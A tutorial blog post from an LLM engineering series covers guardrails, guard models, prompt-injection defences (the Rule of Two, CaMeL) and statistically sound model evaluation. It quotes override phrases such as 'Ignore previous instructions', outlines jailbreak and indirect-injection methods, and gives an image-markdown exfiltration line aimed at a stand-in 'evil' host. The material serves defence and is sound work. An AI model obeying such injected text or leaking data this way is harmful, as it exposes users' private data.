Skip to content

LLM Field Guide 11 — Safety and Evaluation: Guardrails and Proving a Model Got Better

An aligned model is not a safe system, and "the new model is better" is usually noise. Guardrails catch what alignment misses, architecture limits what a prompt-injected agent can do, and paired statistics tell you whether a 1.5-point gain is real. This post covers both halves of shipping: keeping the model in bounds, and proving a change actually helped.

In this post:

  • The threat model — OWASP's 2026 LLM Top 10, mapped to the layer that defends each risk
  • The guardrail stack — why alignment alone fails, and where each control sits
  • Guard models in 2026 — Llama Guard 4, Prompt Guard 2, Qwen3Guard, gpt-oss-safeguard
  • The base-rate trap — why a guard with 69% recall blocks 94% false alarms
  • A guarded pipeline — Python and NeMo Guardrails
  • Prompt injection — why classifiers can't solve it, and the Rule of Two
  • Output handling and consumption limits — the easy plumbing wins
  • Red teaming and the latency budget — garak, PyRIT, promptfoo, and what each check costs
  • Benchmarks and contamination — what's left that isn't saturated, and how leaks inflate scores
  • Evaluating Thai models — ThaiExam and SEA-HELM
  • Running evals reproducibly — lm-evaluation-harness and the settings that move scores
  • LLM-as-judge — biases, a position-swapped judge, and validating it
  • Statistical rigor — confidence intervals, paired tests, and sample-size math
  • Evaluation in production — CI gates, shadow traffic, A/B tests
LLM Field Guide — all 12 posts
  1. How an LLM reads text
  2. Inside the transformer
  3. Training and generation
  4. KV cache and long context
  5. Prompting, context, and RAG
  6. Reasoning models and agents
  7. Choosing a base model
  8. Adapting a model
  9. Making it smaller and faster
  10. Serving at scale
  11. Safety and evaluation ← you are here
  12. Putting it all together

The threat model: two problems, mostly solved with ordinary security

"Safety" covers two different problems. Mixing them up gets you the wrong controls.

  • Content safety: the model says something harmful — weapons instructions, self-harm encouragement, a leaked customer record.
  • Security: someone makes the model do something harmful — exfiltrate data, call a destructive tool, burn your GPU budget.

The OWASP Top 10 for LLM Applications is the best shared checklist; the 2026 edition (published August 4, 2026) replaced the 2025 list1. Here it is mapped to the layer that actually defends each risk:

OWASP 2026 risk What it looks like Primary defense
LLM01 Prompt Injection "Ignore previous instructions…" in a message or a retrieved web page Architecture (privilege limits) + input classifiers
LLM02 Sensitive Information Disclosure Model repeats PII or secrets from context or training data Data minimization, output PII filter
LLM03 Excessive Agency Agent has delete rights it never needed Least privilege, human approval
LLM04 Supply Chain Poisoned weights, malicious LoRA, compromised package Pin and verify artifacts, scan models
LLM05 Data and Model Poisoning Backdoored fine-tuning data Data provenance, evals (below)
LLM06 Unbounded Consumption Prompt floods, 100K-token outputs Rate limits, max_tokens, gateway quotas
LLM07 Misinformation Confident hallucinations Grounding, citations, evals
LLM08 Hidden Context Exposure Model reveals its system prompt, tool schemas, or policy rules No secrets in prompts; enforce policy outside the model
LLM09 Vector and Embedding Weaknesses Cross-tenant RAG leakage, poisoned documents Per-tenant indexes, ACL-filtered retrieval (post 05)
LLM10 Improper Output Handling Output rendered as HTML, run as SQL or shell Treat output as untrusted input

Notice how few rows say "classifier." Most LLM security is ordinary security engineering applied to a component that follows instructions from anyone.

The guardrail stack: alignment is layer zero, not the whole defense

The safety training from post 08 is real: a modern instruct model refuses most blatant harmful requests. It's also the weakest layer to rely on alone:

  • Jailbreaks work. Role-play, encoding tricks, many-shot prompting, and translated prompts routinely get past refusal training.
  • Open weights can be un-aligned. Anyone with the weights can fine-tune refusals away in an afternoon.
  • Alignment doesn't know your policy. A general model has no idea your banking bot must never give investment advice.

So you wrap it:

 user input / retrieved docs / tool results
        │
        ▼
 ┌────────────────────────────┐
 │ INPUT RAILS                │  prompt-injection classifier (Prompt Guard 2)
 │  cheap, fast, run first    │  content classifier (Llama Guard / Qwen3Guard)
 │                            │  PII detection, topic allow-list, length limits
 └────────────────────────────┘
        │ allowed
        ▼
 ┌────────────────────────────┐
 │ MODEL                      │  aligned model + system prompt with policy
 └────────────────────────────┘
        │ draft response / tool call
        ▼
 ┌────────────────────────────┐
 │ OUTPUT RAILS               │  content safety on the response
 │                            │  PII/secret redaction, grounding check
 └────────────────────────────┘
        │
        ▼
 ┌────────────────────────────┐
 │ ACTION LAYER (agents)      │  authz per tool call, sandbox, human approval,
 │  deterministic, not an LLM │  Rule of Two, egress allow-list
 └────────────────────────────┘
        │
        ▼
 logs + traces + red-team findings ──▶ update rails and evals

Each layer catches what the others miss; none is enough alone.

Guard models in 2026: pick by language and policy

A guard model is a classifier (often a small LLM) that labels a prompt or response as safe or unsafe against a policy. These are the open options that matter, checked against their model cards:

Guard Size What it judges Languages License Notable
Llama Guard 4 (Meta) 12B dense, pruned from Llama 4 Scout2 Prompts and responses, text + multi-image, 14 hazard categories (S1–S14) Multilingual Llama 4 Community Categories configurable at inference
Llama Prompt Guard 2 (Meta) 86M (mDeBERTa) and 22M3 Jailbreak / injection: benign vs malicious 86M multilingual; 22M weaker off-English Llama 4 Community 512-token window
Qwen3Guard (Alibaba) 0.6B, 4B, 8B; Gen and Stream4 safe / controversial / unsafe 119 languages and dialects Apache 2.0 Stream variant classifies token by token
gpt-oss-safeguard (OpenAI) 20B (3.6B active), 120B (5.1B active)5 Any content against your written policy, with reasoning Inherits gpt-oss Apache 2.0 20B fits in 16 GB VRAM

Which one for which job:

  • Fast front-door injection filter: Prompt Guard 2 22M, or 86M when you need multilingual coverage.
  • Standard harm taxonomy, English-heavy: Llama Guard 4.
  • Thai or other non-English traffic, or streaming moderation: Qwen3Guard — test it on your language first.
  • A policy no taxonomy covers ("never discuss unreleased products"): gpt-oss-safeguard, which reads the policy at inference instead of needing retraining.

Two frameworks wire these together. NVIDIA NeMo Guardrails (v0.24.1, 2026-09-16)6 defines input, retrieval, dialog, execution, and output rails in YAML and Colang7. Guardrails AI (v0.11.0, 2026-08-14)10 focuses on validating and repairing structured outputs. Meta's LlamaFirewall, in the PurpleLlama repo11, packages guard models plus code scanning for agent pipelines.

The base-rate trap: good model-card numbers, terrible production precision

A guard's error rates look fine on a model card and awful at a real base rate. Meta reports Llama Guard 4's output filtering on its in-house English test set at 69% recall, 11% false positive rate; on multilingual text, 43% recall, 3% FPR2. (Recall = share of truly unsafe responses caught; FPR = share of safe responses wrongly flagged.)

Apply that to 100,000 responses a day, 1% truly unsafe:

Truly unsafe          =   1,000
Caught (69% recall)   =     690      missed: 310
Truly safe            =  99,000
Falsely flagged (11%) =  10,890

Total flagged         =  11,580
Precision             =     690 / 11,580  ≈ 6%

94% of what the guard blocks is a false alarm, and it still lets 310 unsafe responses through. On multilingual traffic, more than half of unsafe responses pass.

The lesson isn't "Llama Guard is bad." Every classifier must be evaluated on your data, at your base rate, with a threshold you chose deliberately — most guards expose a probability, so trade recall against false positives explicitly and measure it with the confidence intervals from later in this post.

A guarded pipeline in Python and NeMo Guardrails

This wraps any OpenAI-compatible server from post 10 with Prompt Guard 2 for injection and Llama Guard 4 for content safety, both used as their model cards show:

# guarded_chat.py
# pip install "transformers>=5.0" torch openai
import torch
from openai import OpenAI
from transformers import AutoProcessor, Llama4ForConditionalGeneration, pipeline

# 1) Prompt-injection classifier: tiny, run on every input chunk
injection = pipeline("text-classification",
                     model="meta-llama/Llama-Prompt-Guard-2-86M")

# 2) Content-safety classifier: 12B, run on input and output
LG = "meta-llama/Llama-Guard-4-12B"
lg_proc = AutoProcessor.from_pretrained(LG)
lg_model = Llama4ForConditionalGeneration.from_pretrained(
    LG, device_map="cuda", dtype=torch.bfloat16)

def llama_guard(messages: list[dict]) -> str:
    """Returns 'safe' or 'unsafe\\nS<n>' per the Llama Guard 4 model card."""
    inputs = lg_proc.apply_chat_template(
        messages, tokenize=True, add_generation_prompt=True,
        return_tensors="pt", return_dict=True).to("cuda")
    out = lg_model.generate(**inputs, max_new_tokens=10, do_sample=False)
    return lg_proc.batch_decode(
        out[:, inputs["input_ids"].shape[-1]:], skip_special_tokens=True)[0].strip()

def chunks(text: str, size: int = 1500):
    # Prompt Guard 2 sees 512 tokens; ~1500 chars is a rough safe chunk
    for i in range(0, len(text), size):
        yield text[i:i + size]

llm = OpenAI(base_url="http://localhost:8000/v1", api_key="EMPTY")

def guarded_chat(user_text: str) -> str:
    # Input rail 1: injection / jailbreak
    if any(r["label"].upper() in ("MALICIOUS", "LABEL_1")
           for r in injection(list(chunks(user_text)))):
        return "Request blocked: possible prompt injection."
    # Input rail 2: content safety on the prompt
    user_msg = {"role": "user", "content": [{"type": "text", "text": user_text}]}
    verdict = llama_guard([user_msg])
    if verdict.startswith("unsafe"):
        return f"Request blocked ({verdict.split()[-1]})."
    # The model call, with hard limits (OWASP LLM06)
    reply = llm.chat.completions.create(
        model="meta-llama/Llama-3.1-8B-Instruct",
        messages=[{"role": "user", "content": user_text}],
        max_tokens=512, temperature=0.3,
    ).choices[0].message.content
    # Output rail: content safety on the full exchange
    verdict = llama_guard([user_msg, {"role": "assistant",
                           "content": [{"type": "text", "text": reply}]}])
    return reply if verdict.startswith("safe") else "Response withheld by policy."

print(guarded_chat("The cat sat on the mat. What did the cat do?"))

What changes in production:

  • Scan retrieved documents and tool results with the injection classifier too, not just user input. That's where indirect injection lives.
  • Serve the 12B guard on its own vLLM instance, batched. It's a full LLM forward pass per check.
  • Streamed output means buffering the whole response (adds latency) or checking in chunks — Qwen3Guard's Stream variant exists for this4.
  • Log every verdict with the trace ID, so you can measure FPR and recall later.

If you'd rather configure than code, NeMo Guardrails expresses Llama Guard rails in YAML (documented shape, with the guard served by vLLM)8:

# config/config.yml
models:
  - type: main
    engine: openai
    model: meta-llama/Llama-3.1-8B-Instruct
    parameters:
      base_url: "http://localhost:8000/v1"
      api_key: EMPTY

  - type: llama_guard
    engine: openai
    model: meta-llama/LlamaGuard-7b
    parameters:
      base_url: "http://localhost:5123/v1"
      api_key: EMPTY

rails:
  input:
    flows:
      - llama guard check input
  output:
    flows:
      - llama guard check output
pip install "nemoguardrails==0.24.1"
nemoguardrails server --config ./config --port 8000

The server exposes a guarded /v1/chat/completions endpoint7. Put it behind your AI gateway so every client gets the same rails.

The documented Llama Guard rail is still the 2023 model

As of v0.24.1, NeMo's Llama Guard page only documents meta-llama/LlamaGuard-7b8. For a current guard, use the generic content-safety rail (content safety check input $model=<name>); its docs name Llama Guard 3, ShieldGemma, Nemotron Content Safety, and gpt-oss-safeguard, but you write each model's prompt in prompts.yml and pick an output parser such as is_content_safe9. Wiring Llama Guard 4 through it is untested — check its verdicts against the Python pipeline above before relying on it.

Prompt injection: the problem classifiers can't solve

Prompt injection is SQL injection where the parser is a neural network and there's no escaping function. The model reads instructions and data in the same token stream and can't reliably tell them apart.

  • Direct injection: the user types "ignore your instructions and…". Annoying, but they only get what they're already allowed to get.
  • Indirect injection: the attack hides in content the model reads — a web page, email, PDF, GitHub issue, or tool result. Greshake et al. demonstrated it against Bing's GPT-4-powered chat in 202312. This is the dangerous one: the attacker steers an agent that acts with your user's privileges.

Why detection alone fails

Prompt Guard 2 reports 97.5% recall at 1% FPR on Meta's English test set3. But attackers adapt: a 2025 study by Nasr, Carlini, and colleagues bypassed 12 published injection defenses with attack success above 90% for most, though most had originally reported near-zero13. Prompt Guard 2's own card lists adaptive attacks as a limitation3.

Treat injection classifiers as noise reduction, not a security boundary. The boundary has to be architectural.

The architectural rules

The lethal trifecta. Simon Willison's framing: an agent is exploitable when it combines private data, untrusted content, and external communication14. With all three, an injected instruction can read your data and send it out.

Meta's Agents Rule of Two turns that into a rule: an agent should have no more than two of these three properties in one session15:

[A] Untrusted input [B] Sensitive data/systems [C] Changes state or communicates out
Email summarizer (reads inbox, no send, no web) ✓ ✓ ✗
Web research agent (no private data) ✓ ✗ ✓
Internal ops agent (trusted input only) ✗ ✓ ✓
All three: human approval or a fresh context ✓ ✓ ✓

Separate control flow from data. CaMeL (Debenedetti et al., 2025) has a privileged planner derive the program from the trusted user query, so untrusted data can't change which tools get called. It solved 77% of AgentDojo tasks with provable security, versus 84% undefended16 — a small utility cost for a real guarantee.

Enforce the Rule of Two in the agent runtime, not the prompt:

# rule_of_two.py
from dataclasses import dataclass, field

@dataclass
class Session:
    untrusted_input: bool = False      # [A] read web/email/docs/tool output
    sensitive_access: bool = False     # [B] touched private data or prod systems
    external_effect: bool = False      # [C] wrote, sent, or called out
    approvals: set[str] = field(default_factory=set)

TOOL_PROPS = {  # declare per tool, reviewed like IAM policy
    "web_fetch":   {"untrusted_input"},
    "crm_lookup":  {"sensitive_access"},
    "send_email":  {"external_effect"},
}

def authorize(s: Session, tool: str) -> bool:
    after = {k for k in ("untrusted_input", "sensitive_access", "external_effect")
             if getattr(s, k) or k in TOOL_PROPS[tool]}
    if len(after) == 3 and tool not in s.approvals:
        return False                   # escalate to a human, or start a fresh session
    for k in TOOL_PROPS[tool]:
        setattr(s, k, True)
    return True

s = Session()
assert authorize(s, "web_fetch")       # A
assert authorize(s, "crm_lookup")      # A + B
assert not authorize(s, "send_email")  # A + B + C → blocked without approval

Then apply ordinary security engineering, relentlessly:

  • Every tool gets minimum scope: read-only by default, per-user credentials, short-lived tokens.
  • Destructive actions require human approval, shown with the exact parameters.
  • Egress allow-list: no arbitrary URLs, no image-markdown exfiltration (![](https://evil/?q=SECRET)).
  • Enforce policy outside the LLM with a deterministic engine (OPA, Cedar) on every tool call.
  • Sandbox code execution (gVisor, Firecracker, no network by default).
  • Never put secrets in the system prompt (OWASP LLM08). Assume it leaks.

The MCP gateway post shows the production version with OPA policies on every tool call.

Output handling and consumption limits: the easy wins

The model's output is untrusted input to whatever consumes it (LLM10).

Output goes to Do this Never this
A web page HTML-escape; sanitize markdown; block remote images innerHTML = reply
A database Parameterized queries; a read-only role String-concatenated SQL
A shell or interpreter Sandbox, no network, allow-listed commands subprocess.run(reply, shell=True)
Another service Validate against a JSON schema (constrained decoding, post 03) Trust free-form fields

Cap everything (LLM06). Set max_tokens on every call, cap input length, rate-limit per user and API key, and set per-tenant token budgets at the gateway. One runaway agent loop can burn a day's GPU budget. The self-hosted AI gateway post covers rate limiting and token accounting with Envoy.

Red teaming and the latency budget

Guardrails drift as models, prompts, and tools change, so red-team every release, automatically.

Tool Version What it does
garak (NVIDIA) v0.17.1 (2026-10-16)17 Vulnerability scanner: injection, jailbreaks, encoding attacks, leakage, toxicity
PyRIT (Microsoft) v1.1.0 (2026-09-04)20 Multi-turn, orchestrated red-team campaigns
promptfoo 0.125.1 (2026-10-25)21 Eval + red-team CLI that fits in CI

A first garak scan, using the CLI shape from its README18:

pip install "garak==0.17.1"
python3 -m garak --list_probes | head

# Prompt-injection probes against the model you're about to ship
python3 -m garak --target_type huggingface \
  --target_name meta-llama/Llama-3.1-8B-Instruct \
  --spec probes.promptinject

Other probe modules include latentinjection, dan, encoding, leakreplay, sysprompt_extraction, and web_injection19. Turn every finding into a regression test in your eval suite, so a fixed hole stays fixed.

Red-team in your users' language

Llama Guard 4's recall falls from 69% in English to 43% multilingual on Meta's test set2. If your users write Thai, your red-team prompts must be Thai too — including code-switched Thai-English and transliterated text.

Guardrails cost time. Budget it:

Check Typical cost Placement
Regex / allow-list / length cap Microseconds Always, first
Prompt Guard 2 22M / 86M 19.3 / 92.4 ms per 512 tokens on A1003 Every input and retrieved chunk, in parallel
Small guard LLM (Qwen3Guard 0.6B–4B) One short LLM pass Input; streamed output
Llama Guard 4 12B / gpt-oss-safeguard Full prefill + a few tokens (more with reasoning) High-risk flows; async for low-risk
Human approval Minutes Only all-three Rule-of-Two actions or irreversible effects

Run input rails in parallel with each other, and consider starting the main model speculatively alongside slow checks, discarding the result if a check fails. You pay the GPU cost but hide the latency.

Benchmarks in 2026: three kinds of eval, and what isn't saturated

Every change in this series — continued pretraining, fine-tuning, quantization, a new engine, a new guard threshold — ends with the same question: did it actually get better? Three kinds of evaluation answer different parts of it:

Kind Question Examples When it misleads
Public benchmarks How capable is it in general? MMLU-Pro, GPQA Diamond, SWE-bench Verified, ThaiExam Contamination, saturation, tiny test sets
Task evals (yours) Is it better at my job? 500 real support tickets with graded answers Too few examples, biased judge
Production metrics Do users get better outcomes? Thumbs-up rate, task completion, escalations Confounded by traffic changes

Public benchmarks pick candidates. Your task evals pick the winner. Production metrics confirm it. Teams that skip the middle step ship leaderboard-toppers that lose to the old model on real traffic.

Original MMLU, HellaSwag, and GSM8K are largely saturated at the frontier; the HLE authors note LLMs now exceed 90% on MMLU22. The 2026 working set:

Benchmark Measures Test size 95% CI half-width at 70%
MMLU (original) Broad knowledge, 4-choice 14,04223 ±0.8 pts
MMLU-Pro Harder knowledge + reasoning, 10-choice 12,03224 ±0.8 pts
GPQA Diamond PhD-level "Google-proof" science 19825 ±6.4 pts
Humanity's Last Exam Frontier expert questions 2,50022 ±1.8 pts
SWE-bench Verified Real GitHub issue fixes 50026 ±4.0 pts
AIME 2025 Competition math 3027 ±16.4 pts
IFEval Verifiable instruction following 54128 ±3.9 pts
ThaiExam Thai national exams ~56529 ±3.8 pts

The last column is the one leaderboards leave out: the binomial interval 1.96 × √(p(1−p)/n) at p = 0.70. On AIME, two models 15 points apart may be statistically tied; on GPQA Diamond, a 3-point "win" means nothing by itself.

Contamination: when the test leaked into training

Pretraining corpora are scraped from the web (post 03), and benchmarks live on the web. If test questions leaked into training, the model is reciting, not reasoning.

The cleanest evidence: Zhang et al. built GSM1k, 1,000 new problems matched to GSM8K's style and difficulty. Several model families scored up to 8% lower on GSM1k, and the gap correlated with how likely each model was to generate GSM8K examples verbatim (Spearman r² = 0.36)33. Many frontier models showed little overfitting — contamination varies by model, which is why you can't ignore it.

  • Prefer private or rolling test sets. LiveBench updates questions monthly and scores against objective ground truth34.
  • Check dates. A benchmark released after the training cutoff can't be in pretraining (fine-tuning data is another matter).
  • Test membership. Min-K% Prob flags text a model likely saw by the absence of low-probability outlier tokens, no corpus access needed35.
  • Paraphrase and perturb. Reword questions or shuffle choices on a sample; a big drop means memorization.
  • Keep a private held-out set built from your own data, and never paste it into public chatbots.

Evaluating Thai models: ThaiExam for knowledge, SEA-HELM for language skills

English benchmarks tell you little about Thai ability. Two benchmark families fill the gap, and they measure different things.

ThaiExam

Built by SCB 10X for Typhoon and now in Stanford's HELM leaderboard29, ThaiExam has five multiple-choice exams:

Exam What it is Choices Questions
ONET Grade-12 national test: Thai, math, social studies, science 5 167
IC Investment Consultant licensing exam (Stock Exchange of Thailand) 4 100
TGAT General aptitude: critical and logical thinking 4 70
TPAT-1 Medical-school aptitude: reasoning and medical ethics 5 121
A-Level Applied knowledge across foundational subjects — 132

Each exam reserves 5 examples for 5-shot prompting, leaving about 565 test questions (my arithmetic from the dataset card's totals)29. Use the v1.0 revision; early Typhoon results used a v0.1 pre-release, so scores across versions aren't comparable.

The catch is size. TGAT's test split is about 65 questions — at 70% accuracy, a 95% interval of roughly ±11 points. Report the aggregate with its interval, and never rank models on one sub-exam.

HELM pins the v1.0 revision and runs 5-shot multiple choice30:

pip install "crfm-helm==0.5.16"

for exam in onet ic tgat tpat1 a_level; do
  helm-run --run-entries "thai_exam:exam=${exam},model=openai/gpt2" \
           --suite thai-eval --max-eval-instances 1000
done
helm-summarize --suite thai-eval
helm-server --suite thai-eval      # browse at http://localhost:8000

(Pattern from HELM's quick start31; swap openai/gpt2 for your model's HELM deployment name, which is also how you point it at a local vLLM endpoint.)

SEA-HELM

SEA-HELM, from AI Singapore's SEA-LION team, is broader: five pillars — NLP Classics, LLM-specifics, SEA Linguistics, SEA Culture, and Safety — across Filipino, Indonesian, Tamil, Thai, and Vietnamese32. For Thai it covers sentiment (Wisesight), QA (XQuAD), NLI (XNLI), causal reasoning (XCOPA), summarization (XL-Sum), translation (FLORES), instruction following (SEA-IFEval), multi-turn chat (SEA-MTBench), and toxicity detection. The linguistics and culture pillars don't cover Thai yet.

SEA-HELM scores are normalized against a random baseline, so they aren't raw accuracy:

s_norm = max( 100 × (s_raw − s_baseline) / (s_max − s_baseline), 0 )

4-choice task, baseline 25%, raw accuracy 70%:
s_norm = 100 × (70 − 25) / (100 − 25) = 60
You want to know Use
Does it know Thai curriculum and professional facts? ThaiExam
Can it read, write, translate, chat, and follow instructions in Thai? SEA-HELM (Thai subset)
Did the Thai fine-tune hurt English? Your English evals before and after (post 08)
Is it good at your Thai task? Your own Thai eval — neither benchmark replaces it

For quick checks during training, lm-evaluation-harness ships xnli_th, xquad_th, xcopa_th, belebele_tha_Thai, and mgsm_native_cot_th37.

Running evals reproducibly: pin every setting

lm-evaluation-harness (v0.4.13)36 is the standard open runner. Use the vLLM backend for speed:

pip install "lm_eval[vllm]==0.4.13"

lm_eval --model vllm \
  --model_args pretrained=Qwen/Qwen3-8B,tensor_parallel_size=1,dtype=auto,gpu_memory_utilization=0.8,max_model_len=8192 \
  --tasks mmlu_pro,xnli_th,belebele_tha_Thai \
  --batch_size auto \
  --log_samples \
  --output_path results/qwen3-8b

--log_samples is the flag that matters most: it writes per-question results, which the paired statistics below need. For a model that's already served, use --model local-completions or local-chat-completions with base_url=...36.

The same model can score several points differently under different harness settings. Pin and report all of these:

  • Chat template on or off (--apply_chat_template) — instruct models usually need it.
  • Number and choice of few-shot examples.
  • Scoring method: log-likelihood over choices vs generate-and-parse.
  • Decoding settings, and for reasoning models the thinking budget (post 06).
  • Answer-extraction regex — a parser that misses "The answer is (B)." costs real points.
  • Dataset revision (ThaiExam v0.1 vs v1.0).
  • Engine and quantization (BF16 vs FP8 vs Q4, post 09).

Never compare your number to a paper's unless every item matches. Re-run both models yourself, same harness, same day.

LLM-as-judge: scaling human judgment without fooling yourself

Open-ended outputs have no single correct answer, so exact match fails. The 2026 default is an LLM judge grading against a rubric. Zheng et al. found strong judges reach over 80% agreement with human preferences — the level humans reach with each other38. The same paper documented the failure modes:

Bias What happens Mitigation
Position Prefers the first (or second) answer Judge each pair twice, order swapped; win only if both agree
Verbosity Longer answers win Length-controlled scoring; rubric penalizes padding
Self-enhancement Prefers its own model family Judge from a different family than the models under test
Limited reasoning Can't verify math or code it can't solve Give a reference answer; use execution or unit tests

Length control matters: AlpacaEval's length-controlled win rate raised its Spearman correlation with Chatbot Arena from 0.94 to 0.9839.

# judge.py: pip install openai
from openai import OpenAI

judge = OpenAI(base_url="http://localhost:8000/v1", api_key="EMPTY")
JUDGE_MODEL = "openai/gpt-oss-120b"   # a different family from the models under test

RUBRIC = """You are grading two answers to the same question.
Criteria, in order: factual accuracy, completeness, follows the instructions, concise.
Do not reward length. If both are equally good, say TIE.
Reply with exactly one token: A, B, or TIE."""

def ask(q: str, first: str, second: str) -> str:
    msg = f"Question:\n{q}\n\nAnswer A:\n{first}\n\nAnswer B:\n{second}"
    r = judge.chat.completions.create(
        model=JUDGE_MODEL, temperature=0, max_tokens=4,
        messages=[{"role": "system", "content": RUBRIC},
                  {"role": "user", "content": msg}])
    return r.choices[0].message.content.strip().upper()

def pairwise(q: str, base: str, cand: str) -> str:
    """Returns 'cand', 'base', or 'tie'. A win must survive the order swap."""
    v1 = ask(q, base, cand)        # candidate shown second
    v2 = ask(q, cand, base)        # candidate shown first
    if v1 == "B" and v2 == "A":
        return "cand"
    if v1 == "A" and v2 == "B":
        return "base"
    return "tie"                   # disagreement across orders = position bias = tie

Validate the judge before trusting it:

  • Have humans label 100–200 examples from your real data.
  • Measure judge–human agreement with Cohen's kappa (sklearn.metrics.cohen_kappa_score), which corrects for chance.
  • Iterate on the rubric until judge–human agreement approaches human–human agreement.
  • Re-validate whenever the judge model, rubric, or task changes.
  • For Thai outputs, labelers must be fluent Thai speakers — a judge weak in Thai grades Thai badly.

Statistical rigor: is a 1.5-point gain real?

The scenario every team hits: your fine-tune scores 71.1% on a 1,000-question eval, the baseline 69.6%. +1.5 points. Ship it?

Evan Miller's "Adding Error Bars to Evals" gives the method: CLT standard errors, clustered errors for related questions, resampling to cut variance, question-level paired differences when comparing models, and power analysis before you run40.

Step 1: every score has an error bar

Each question is a coin flip with success probability p, so the standard error of accuracy is √(p(1−p)/n):

p = 0.70, n = 1,000
SE      = √(0.70 × 0.30 / 1000) = 0.0145  →  1.45 points
95% CI  = 70% ± 1.96 × 1.45     = 70% ± 2.8 points

Compared unpaired, the SE of the difference is √2 × 1.45 ≈ 2.05 points, so a +1.5 difference has a 95% interval of about [−2.5, +5.5]. Zero is comfortably inside.

Step 2: pair the questions

Both models answered the same questions, and they find the same ones easy or hard. Comparing question by question removes that shared difficulty from the noise — Miller shows a 0.5 correlation between the models' question-level scores cuts the variance of the difference by a third40.

The full analysis, on simulated per-question results so it runs as-is (swap in your --log_samples output):

# paired_eval.py: pip install numpy scipy
import numpy as np
from scipy.stats import binomtest

rng = np.random.default_rng(42)
n = 1000
# Simulated per-question correctness (1 = correct). Replace with your eval logs.
base = rng.random(n) < 0.70
flip_up = (~base) & (rng.random(n) < 0.20)   # candidate fixes some misses
flip_dn = base & (rng.random(n) < 0.065)     # ...and breaks some hits
new = (base | flip_up) & ~flip_dn
a, b = base.astype(int), new.astype(int)

print(f"baseline {a.mean():.3f}  candidate {b.mean():.3f}  delta {b.mean()-a.mean():+.3f}")

# 1) Paired bootstrap CI on the difference (resample questions, keep pairs)
idx = rng.integers(0, n, size=(10_000, n))
deltas = b[idx].mean(1) - a[idx].mean(1)
lo, hi = np.percentile(deltas, [2.5, 97.5])
print(f"paired bootstrap 95% CI: [{lo:+.3f}, {hi:+.3f}]")

# 2) Unpaired bootstrap (the wrong way) for comparison
ia, ib = rng.integers(0, n, size=(2, 10_000, n))
d_unp = b[ib].mean(1) - a[ia].mean(1)
print("unpaired bootstrap 95% CI: [{:+.3f}, {:+.3f}]".format(*np.percentile(d_unp, [2.5, 97.5])))

# 3) McNemar exact test: only discordant questions carry signal
n01 = int(((a == 0) & (b == 1)).sum())  # candidate fixed
n10 = int(((a == 1) & (b == 0)).sum())  # candidate broke
p = binomtest(n01, n01 + n10, 0.5).pvalue
print(f"discordant: fixed={n01} broke={n10}  McNemar exact p={p:.4f}")
baseline 0.696  candidate 0.711  delta +0.015
paired bootstrap 95% CI: [-0.004, +0.035]
unpaired bootstrap 95% CI: [-0.026, +0.055]
discordant: fixed=59 broke=44  McNemar exact p=0.1674
  • Pairing shrank the interval from 8.1 to 3.9 points wide. Same data, better analysis.
  • It's still not significant: the paired interval includes zero, and McNemar's p = 0.17.
  • Only the 103 discordant questions carry signal (59 fixed, 44 broken); the 897 where both agree cancel out.

Verdict: you can't claim the +1.5 is real from 1,000 questions. Get more data, or accept a tie.

Step 3: sample-size math before you run the eval

Flip it around: how many questions do you need to detect +1.5 points? Use two-sided α = 0.05 (z = 1.96) and 80% power (z = 0.84), at p = 0.70.

Unpaired:  n per model = (z_α + z_β)² × 2p(1−p) / Δ²
                       = 7.84 × 0.42 / 0.015²   ≈ 14,630

Paired (McNemar), p_d = share of questions where the models disagree:
           n = ( z_α·√p_d + z_β·√(p_d − Δ²) )² / Δ²
  p_d = 0.10 → n = (1.96 × 0.3162 + 0.84 × 0.3159)² / 0.000225 ≈ 3,480
Detect Δ = 1.5 pts at 70% (α = 0.05, 80% power) Questions needed
Unpaired ~14,630
Paired, models disagree on 15% ~5,220
Paired, disagree on 10% ~3,480
Paired, disagree on 6% ~2,090

The reverse — the smallest effect a paired eval with 10% disagreement can detect at 80% power — is about 2.8 × √(p_d/n):

Eval size Minimum detectable effect
500 questions ~4.0 pts
1,000 questions ~2.8 pts
14,042 (full MMLU) ~0.75 pts

A 1,000-question eval can't reliably detect anything below ~3 points, and a 200-question eval nothing below ~6. If you expect a fine-tune to add 1–2 points, you need thousands of paired examples or you're measuring noise.

Step 4: the traps that inflate significance

  • Clustered questions. 1,000 questions from 100 documents aren't independent. Use clustered standard errors or bootstrap over documents; the honest interval is wider40.
  • Sampling noise. At temperature > 0, answers vary run to run. Sample each question several times and average, or evaluate at temperature 0.
  • Multiple comparisons. Test 10 benchmarks at α = 0.05 and expect about one false "win." Pre-register the primary metric or use Bonferroni (α/10 = 0.005).
  • Peeking. Re-running until the number looks good is p-hacking. Fix the eval set and analysis first.
  • Judge noise. Report judge–human agreement alongside any judged score.

Evaluation in production: offline decides, production confirms

  • Regression suite in CI. Every model, prompt, quantization, or engine change runs the task eval and the red-team set. Fail on a statistically significant drop, not any drop.
  • Shadow traffic. Copy real requests to the candidate; compare offline with the judge.
  • A/B test on a user-level metric (task success, thumbs-up, escalation rate), sized with the power math above.
  • Trace everything — prompts, outputs, tokens, latency, guard verdicts, judge scores — with OpenTelemetry GenAI conventions; see the LLM observability post.
  • Sample production outputs into the eval set monthly, so it tracks what users actually ask.

Summary

Layer / question Do this It stops or answers It doesn't
Threat model OWASP LLM Top 10 (2026), each risk mapped to a layer Blind spots —
Alignment Use an instruct model with safety training Casual harmful requests Jailbreaks, your policy, fine-tuned-away refusals
Input/output rails Length cap → Prompt Guard 2 → Llama Guard 4 / Qwen3Guard / gpt-oss-safeguard, on user input and retrieved/tool content Known harm categories, naive injection Adaptive attacks, weak languages
Guard thresholds Measure on your traffic, at your base rate Drowning in false alarms —
Agent architecture Rule of Two in code, least privilege, egress allow-list, sandbox, policy engine Injection impact Content-safety issues
Output handling and limits Escape, parameterize, schema-validate; cap tokens and rate XSS, SQL/shell injection, runaway cost Harmful text itself
Red teaming garak / PyRIT / promptfoo every release, in your users' language Regressions Novel attacks
Benchmarks Pick candidates; check contamination; read the CI column General capability Your task
Thai ThaiExam (knowledge), SEA-HELM (skills), your own Thai eval (decision) Thai ability Your task
Harness Same harness, settings, revision, engine, day; --log_samples Fake gains from config drift —
LLM judge Pairwise, order-swapped, different family, kappa vs 100–200 human labels Open-ended quality Unvalidated rubrics
"Is it real?" 95% CI on every score; paired bootstrap + McNemar; power first; cluster; correct for many metrics Shipping noise —

Next: Putting it all together — one Thai refund request traced through the whole series, plus the symptom → lever framework.

Go deeper


